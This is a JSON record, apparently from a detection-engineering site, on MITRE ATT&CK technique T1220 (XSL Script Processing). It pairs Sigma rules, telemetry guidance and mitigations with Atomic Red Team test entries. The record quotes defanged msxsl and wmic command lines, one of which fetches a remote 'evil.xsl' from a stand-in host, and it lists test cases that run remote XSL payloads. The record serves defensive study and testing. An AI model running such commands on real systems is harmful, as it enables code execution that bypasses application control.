{"source_checked_on":"2026-10-19","schema_version":1,"key":"enterprise/T1220","id":"T1220","name":"XSL Script Processing","domain":"enterprise","reviewed_on":"2026-09-28","source_url":"https://attack.mitre.org/techniques/T1220","source_file":{"file":"enterprise.json","url":"https://raw.githubusercontent.com/mitre-attack/attack-stix-data/20664a889568dce884a1dac0ec7b12ae3a199f51/enterprise-attack/enterprise-attack-20.0.json","sha256":"81113ba98afa2928f3dcff62022539f7ce30c315c32e14422f11ff95ce534352","bytes":55271014},"source_object_sha256":"8f55cbb781a7a036ff9f5ff8410956989d017c9c7f299c94b67f0783984eca10","description":"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>","references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1220","external_id":"T1220"},{"source_name":"Reaqta MSXSL Spearphishing MAR 2018","description":"Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.","url":"https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"},{"source_name":"LOLBAS Wmic","description":"LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Wmic/"},{"source_name":"Microsoft msxsl.exe","description":"Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.","url":"https://web.archive.org/web/20190508171106/https://www.microsoft.com/en-us/download/details.aspx?id=21714"},{"source_name":"Penetration Testing Lab MSXSL July 2017","description":"netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.","url":"https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"},{"source_name":"XSL Bypass Mar 2019","description":"Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.","url":"https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"},{"source_name":"Microsoft XSLT Script Mar 2017","description":"Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.","url":"https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"}],"platforms":["Windows"],"environments":["cloud-hosted-endpoint","onprem"],"visibility":"source_mapped","visibility_note":null,"parent":null,"children":[],"telemetry":[{"id":"DC0016","name":"Module Load","page":"telemetry/DC0016/","kind":"attack_component","category":"Endpoint activity","description":"A module or library being loaded into a running process.","collection_focus":"Scope Sysmon ImageLoad (7) to lab processes/paths; retain module hash, signer and destination process. Inventory alone does not prove a module loaded.","providers":[{"name":"Microsoft Sysmon","scope":"Windows event-based collection; enable the event types needed below.","source_id":"sysmon"},{"name":"Linux Audit","scope":"Linux alternative for supported system-call and file events; different semantics and fields.","source_id":"linux"},{"name":"Apple Endpoint Security clients","scope":"macOS alternative where the subscribed event exists; requires an entitled, approved client, not an iOS collector.","source_id":"apple"}],"configuration":["On a disposable Windows host, review the installed Sysmon schema and current configuration; merge scoped event filters into the existing policy rather than replacing it.","Forward Microsoft-Windows-Sysmon/Operational to the lab collector. Preserve event ID, timestamp, computer, process identifiers and the original event.","For Linux or macOS, select the equivalent sensor separately and test its emitted fields; a Windows event ID does not transfer across platforms."],"configuration_example":null,"required_fields":["process_id","image_loaded","signed","action"],"example":{"schema":"1200km.telemetry.example.v1","synthetic":true,"timestamp":"2026-09-27T12:00:00Z","telemetry_id":"DC0016","collector":"illustrative-lab-collector","observation":{"process_id":4200,"image_loaded":"C:\\Lab\\demo.dll","signed":false,"action":"load"}},"example_note":"Project-normalized synthetic JSON, not a native provider log, captured event, attack verdict or validated detection. A parser/adapter is required for a real SIEM. Example names, IPs and values are fictional.","limitations":"Event filtering and sensor versions change coverage. High-volume image-load and process-access collection needs tuning; endpoint events alone do not establish intent.","sources":[{"id":"sysmon","title":"Microsoft Sysmon events and configuration","url":"https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon"},{"id":"sysmon_config","title":"Microsoft Sysmon configuration files","url":"https://learn.microsoft.com/en-us/windows/security/operating-system-security/sysmon/sysmon-configuration-files"},{"id":"linux","title":"Linux Audit rule configuration","url":"https://www.man7.org/linux/man-pages/man8/auditctl.8.html"},{"id":"apple","title":"Apple Endpoint Security framework for macOS","url":"https://developer.apple.com/documentation/endpointsecurity"},{"id":"process_audit","title":"Microsoft process creation event 4688","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688"}],"association":"attack_component","anomaly_design":"Per host role and user: rare process/object combinations, bursts of object access or modification, and ordered parent/action sequences. Compare maintenance windows and signed software rollout activity."},{"id":"DC0032","name":"Process Creation","page":"telemetry/DC0032/","kind":"attack_component","category":"Endpoint activity","description":"Creation of a process with executable, command line, parent and security context.","collection_focus":"Collect Sysmon ProcessCreate (1); preserve ProcessGuid and parent identifiers. Security 4688 is an alternative with separate audit/command-line settings.","providers":[{"name":"Microsoft Sysmon","scope":"Windows event-based collection; enable the event types needed below.","source_id":"sysmon"},{"name":"Linux Audit","scope":"Linux alternative for supported system-call and file events; different semantics and fields.","source_id":"linux"},{"name":"Apple Endpoint Security clients","scope":"macOS alternative where the subscribed event exists; requires an entitled, approved client, not an iOS collector.","source_id":"apple"}],"configuration":["On a disposable Windows host, review the installed Sysmon schema and current configuration; merge scoped event filters into the existing policy rather than replacing it.","Forward Microsoft-Windows-Sysmon/Operational to the lab collector. Preserve event ID, timestamp, computer, process identifiers and the original event.","For Linux or macOS, select the equivalent sensor separately and test its emitted fields; a Windows event ID does not transfer across platforms."],"configuration_example":{"label":"Sysmon filter fragment · merge into the reviewed lab configuration","language":"xml","source_id":"sysmon_config","content":"<EventFiltering>\n  <ProcessCreate onmatch=\"include\">\n    <Image condition=\"is\">C:\\Windows\\System32\\whoami.exe</Image>\n  </ProcessCreate>\n</EventFiltering>","note":"This fragment only selects the named process. It is not a complete production policy. Inspect the installed schema with sysmon64 -s; preserve existing rules, then apply the reviewed complete configuration with sysmon64 -c <configuration-file>."},"required_fields":["process_guid","image","parent_image","command_line","user"],"example":{"schema":"1200km.telemetry.example.v1","synthetic":true,"timestamp":"2026-09-27T12:00:00Z","telemetry_id":"DC0032","collector":"illustrative-lab-collector","observation":{"process_guid":"lab-process-001","image":"C:\\Windows\\System32\\whoami.exe","parent_image":"C:\\Windows\\System32\\cmd.exe","command_line":"whoami","user":"LAB\\analyst"}},"example_note":"Project-normalized synthetic JSON, not a native provider log, captured event, attack verdict or validated detection. A parser/adapter is required for a real SIEM. Example names, IPs and values are fictional.","limitations":"Event filtering and sensor versions change coverage. High-volume image-load and process-access collection needs tuning; endpoint events alone do not establish intent.","sources":[{"id":"sysmon","title":"Microsoft Sysmon events and configuration","url":"https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon"},{"id":"sysmon_config","title":"Microsoft Sysmon configuration files","url":"https://learn.microsoft.com/en-us/windows/security/operating-system-security/sysmon/sysmon-configuration-files"},{"id":"linux","title":"Linux Audit rule configuration","url":"https://www.man7.org/linux/man-pages/man8/auditctl.8.html"},{"id":"apple","title":"Apple Endpoint Security framework for macOS","url":"https://developer.apple.com/documentation/endpointsecurity"},{"id":"process_audit","title":"Microsoft process creation event 4688","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688"}],"association":"attack_component","anomaly_design":"Per host role and user: rare process/object combinations, bursts of object access or modification, and ordered parent/action sequences. Compare maintenance windows and signed software rollout activity."}],"detection":{"key":"enterprise/T1220","id":"T1220","name":"XSL Script Processing","domain":"enterprise","platforms":["Windows"],"environments":["cloud-hosted-endpoint","onprem"],"source_url":"https://attack.mitre.org/techniques/T1220","technique_page":"techniques/enterprise/T1220/","page":"detections/enterprise/T1220/","status":"rule_source_available","counts":{"sigma":5,"atlas_basic":0,"atlas_anomaly":0,"strategies":1,"analytics":1,"live_validated":0},"sigma_rules":[{"id":"06ce37c2-61ab-4f05-9ff5-b1a96d18ae32","title":"WMIC Loading Scripting Libraries","status":"test","level":"medium","logsource":{"category":"image_load","product":"windows"},"data_path":"data/detection-rules/06ce37c2-61ab-4f05-9ff5-b1a96d18ae32.json","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml","author":"Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)","kind":"sigma"},{"id":"9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0","title":"Msxsl.EXE Execution","status":"test","level":"medium","logsource":{"category":"process_creation","product":"windows"},"data_path":"data/detection-rules/9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0.json","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_msxsl_execution.yml","author":"Timur Zinniatullin, oscd.community","kind":"sigma"},{"id":"75d0a94e-6252-448d-a7be-d953dff527bb","title":"Remote XSL Execution Via Msxsl.EXE","status":"test","level":"high","logsource":{"category":"process_creation","product":"windows"},"data_path":"data/detection-rules/75d0a94e-6252-448d-a7be-d953dff527bb.json","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_msxsl_remote_execution.yml","author":"Swachchhanda Shrawan Poudel","kind":"sigma"},{"id":"8d63dadf-b91b-4187-87b6-34a1114577ea","title":"Potential Remote SquiblyTwo Technique Execution","status":"test","level":"high","logsource":{"category":"process_creation","product":"windows"},"data_path":"data/detection-rules/8d63dadf-b91b-4187-87b6-34a1114577ea.json","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml","author":"Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems)","kind":"sigma"},{"id":"05c36dd6-79d6-4a9a-97da-3db20298ab2d","title":"XSL Script Execution Via WMIC.EXE","status":"test","level":"medium","logsource":{"category":"process_creation","product":"windows"},"data_path":"data/detection-rules/05c36dd6-79d6-4a9a-97da-3db20298ab2d.json","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml","author":"Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel","kind":"sigma"}],"atlas_basic":[],"atlas_anomaly":[],"anomaly_types":[],"strategies":[{"id":"DET0205","name":"Detect XSL Script Abuse via msxsl and wmic","url":"https://attack.mitre.org/detectionstrategies/DET0205","stix_id":"x-mitre-detection-strategy--4994627c-216b-4832-90cf-074d3e9013e4","relationship_id":"relationship--f6da3b26-449a-4b87-b2be-f203dadb6302","description":"","analytics":[{"id":"AN0581","name":"Analytic 0581","guidance":"Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).","url":"https://attack.mitre.org/detectionstrategies/DET0205#AN0581","platforms":["Windows"],"tuning":[{"field":"CommandLinePattern","description":"May need to tune based on encoded input or custom extensions (e.g., .jpeg instead of .xsl)."},{"field":"ParentProcess","description":"Legitimate administrative or developer tools may use msxsl; validate the parent process chain."},{"field":"TimeWindow","description":"Temporal correlation window between script engine DLL load and suspicious process spawn."},{"field":"RemoteXSLDomainWhitelist","description":"Filter known safe URLs used by enterprise for XSL transformations."}],"log_sources":[{"component_id":"DC0032","component":"Process Creation","name":"WinEventLog:Sysmon","channel":"EventCode=1","platforms":["Windows"],"analytic_id":"AN0581","source_url":"https://attack.mitre.org/detectionstrategies/DET0205#AN0581","validation":"upstream_definition_not_locally_validated","component_page":"telemetry/DC0032/"},{"component_id":"DC0016","component":"Module Load","name":"WinEventLog:Sysmon","channel":"EventCode=7","platforms":["Windows"],"analytic_id":"AN0581","source_url":"https://attack.mitre.org/detectionstrategies/DET0205#AN0581","validation":"upstream_definition_not_locally_validated","component_page":"telemetry/DC0016/"}]}]}],"telemetry_references":[{"id":"DC0016","name":"Module Load","tag":"Module Load","page":"telemetry/DC0016/","kind":"attack_component"},{"id":"DC0032","name":"Process Creation","tag":"Process Creation","page":"telemetry/DC0032/","kind":"attack_component"}],"visibility":"source_mapped","visibility_note":null,"tool_references":[],"related_parent":null,"article_url":"https://1200km.com/articles/read/2026/2026-04-20-malicious-activity-as-a-statistical-signal-a-detection-engineering-analysis-of-anomaly-bas-90df8b6dea12/","validation":{"source_join":"exact_ids","sigma_yaml":"parsed","backend_compilation":"not_run","live_telemetry":"not_run","detection_execution":"not_run"}},"tools":[],"software":[{"id":"S0373","name":"Astaroth","url":"https://attack.mitre.org/software/S0373","kind":"malware","description":"[Astaroth](https://attack.mitre.org/software/S0373) executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. (Citation: Cybereason Astaroth Feb 2019)","relationship_id":"relationship--7dc3f129-9cac-4279-a4d2-b5dbe1237f07","references":[{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}]}],"actors":[{"id":"G0080","name":"Cobalt Group","url":"https://attack.mitre.org/groups/G0080","kind":"intrusion-set","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.(Citation: Talos Cobalt Group July 2018)","relationship_id":"relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e","references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}]},{"id":"G0126","name":"Higaisa","url":"https://attack.mitre.org/groups/G0126","kind":"intrusion-set","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used an XSL file to run VBScript code.(Citation: PTSecurity Higaisa 2020)","relationship_id":"relationship--9dc630a6-a6fd-4173-8236-9bbb1041f7ea","references":[{"source_name":"PTSecurity Higaisa 2020","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/"}]}],"mitigations":[{"id":"M1038","name":"Execution Prevention","url":"https://attack.mitre.org/mitigations/M1038","kind":"course-of-action","description":"If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.","relationship_id":"relationship--af393cd2-2a5a-41f8-a1b1-218f30beb4dd","references":[]}],"candidates":[{"id":"1b237334-3e21-4a0c-8178-b8c996124988","name":"WMIC bypass using local XSL file","platforms":["windows"],"method":"automated","executor":"command_prompt","elevation_required":false,"dependency_count":2,"cleanup_defined":false,"review_status":"not_individually_reviewed","source_url":"https://github.com/redcanaryco/atomic-red-team/blob/388942adbd9641f4dfdcf079d7efe9a75ec0ac43/atomics/T1220/T1220.yaml","description":"Executes the code specified within a XSL script using a local payload.\n","inputs":{"wmic_command":{"description":"WMI command to execute using wmic.exe","type":"string","default":"process list"},"local_xsl_file":{"description":"Location of the test XSL script file on the local filesystem.","type":"path","default":"PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl"}},"dependencies":[{"description":"XSL file must exist on disk at specified location (#{local_xsl_file})\n"},{"description":"wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.\n"}],"source_definition_sha256":"ae36de634985688babc504ea7728237b057704ae1e83777866f5790081734f97"},{"id":"7f5be499-33be-4129-a560-66021f379b9b","name":"WMIC bypass using remote XSL file","platforms":["windows"],"method":"automated","executor":"command_prompt","elevation_required":false,"dependency_count":1,"cleanup_defined":false,"review_status":"not_individually_reviewed","source_url":"https://github.com/redcanaryco/atomic-red-team/blob/388942adbd9641f4dfdcf079d7efe9a75ec0ac43/atomics/T1220/T1220.yaml","description":"Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.\n","inputs":{"remote_xsl_file":{"description":"Remote location of an XSL payload.","type":"url","default":"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"},"wmic_command":{"description":"WMI command to execute using wmic.exe","type":"string","default":"process list"}},"dependencies":[{"description":"wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.\n"}],"source_definition_sha256":"d3f6996982694072e2d4a7daae263494a64b01433fe9cbe1d9ab15c15b20753e"},{"id":"a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985","name":"MSXSL Bypass using remote files","platforms":["windows"],"method":"automated","executor":"command_prompt","elevation_required":false,"dependency_count":1,"cleanup_defined":true,"review_status":"not_individually_reviewed","source_url":"https://github.com/redcanaryco/atomic-red-team/blob/388942adbd9641f4dfdcf079d7efe9a75ec0ac43/atomics/T1220/T1220.yaml","description":"Executes the code specified within a XSL script tag during XSL transformation using a remote payload.\nRequires download of MSXSL.exe. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )\nOpen Calculator.exe when test successfully executed, while AV turned off.\n","inputs":{"xmlfile":{"description":"Remote location (URL) of the test XML file.","type":"url","default":"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml"},"xslfile":{"description":"Remote location (URL) of the test XSL script file.","type":"url","default":"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl"},"msxsl_exe":{"description":"Location of the MSXSL executable.","type":"path","default":"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe"}},"dependencies":[{"description":"msxsl.exe must exist on disk at specified location (\"#{msxsl_exe}\")\n"}],"source_definition_sha256":"c59ed9bcf96364d354989ea6cae8d73655284bb503138866be4789587bb39b6c"},{"id":"ca23bfb2-023f-49c5-8802-e66997de462d","name":"MSXSL Bypass using local files","platforms":["windows"],"method":"automated","executor":"command_prompt","elevation_required":false,"dependency_count":3,"cleanup_defined":true,"review_status":"not_individually_reviewed","source_url":"https://github.com/redcanaryco/atomic-red-team/blob/388942adbd9641f4dfdcf079d7efe9a75ec0ac43/atomics/T1220/T1220.yaml","description":"Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n","inputs":{"xmlfile":{"description":"Location of the test XML file on the local filesystem.","type":"path","default":"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml"},"xslfile":{"description":"Location of the test XSL script file on the local filesystem.","type":"path","default":"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl"},"msxsl_exe":{"description":"Location of the MSXSL executable.","type":"path","default":"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe"}},"dependencies":[{"description":"XML file must exist on disk at specified location (#{xmlfile})\n"},{"description":"XSL file must exist on disk at specified location (#{xslfile})\n"},{"description":"msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n"}],"source_definition_sha256":"159bfddc31fa88172cd4959b20e540a585d21519ec9c178707861628f6e02b36"}],"simulation":{"atomic_status":"documented_candidate","lab_execution":"not_run","browser_attack_runner":false,"prerequisites":"Use disposable lab hosts and test accounts, explicit target allowlists, a clean snapshot, bounded egress and a restore plan. Review every candidate and dependency before any execution.","scenario":null},"validation":{"source_identity":"checked_against_pinned_source","relationship_join":"exact_ids_no_inheritance","page_contract":"automated_checks_required","sensor_capture":"not_run","detection_backend":"not_run","adversary_simulation":"not_run","independent_incident_fact_check":"not_performed"},"technique_links":{"T1127":"/ttp-simulation/techniques/enterprise/T1127/","T1047":"/ttp-simulation/techniques/enterprise/T1047/","T1218.010":"/ttp-simulation/techniques/enterprise/T1218.010/","T1220":"/ttp-simulation/techniques/enterprise/T1220/"},"synthetic":{"schema":"1200km.ttp.collection-fixture.v1","synthetic":true,"technique_key":"enterprise/T1220","purpose":"Collection/parser contract exercise, NOT a positive example or detection of this TTP.","events":[{"schema":"1200km.telemetry.example.v1","synthetic":true,"timestamp":"2026-09-27T12:00:00Z","telemetry_id":"DC0016","collector":"illustrative-lab-collector","observation":{"process_id":4200,"image_loaded":"C:\\Lab\\demo.dll","signed":false,"action":"load"}},{"schema":"1200km.telemetry.example.v1","synthetic":true,"timestamp":"2026-09-27T12:00:00Z","telemetry_id":"DC0032","collector":"illustrative-lab-collector","observation":{"process_guid":"lab-process-001","image":"C:\\Windows\\System32\\whoami.exe","parent_image":"C:\\Windows\\System32\\cmd.exe","command_line":"whoami","user":"LAB\\analyst"}}]}}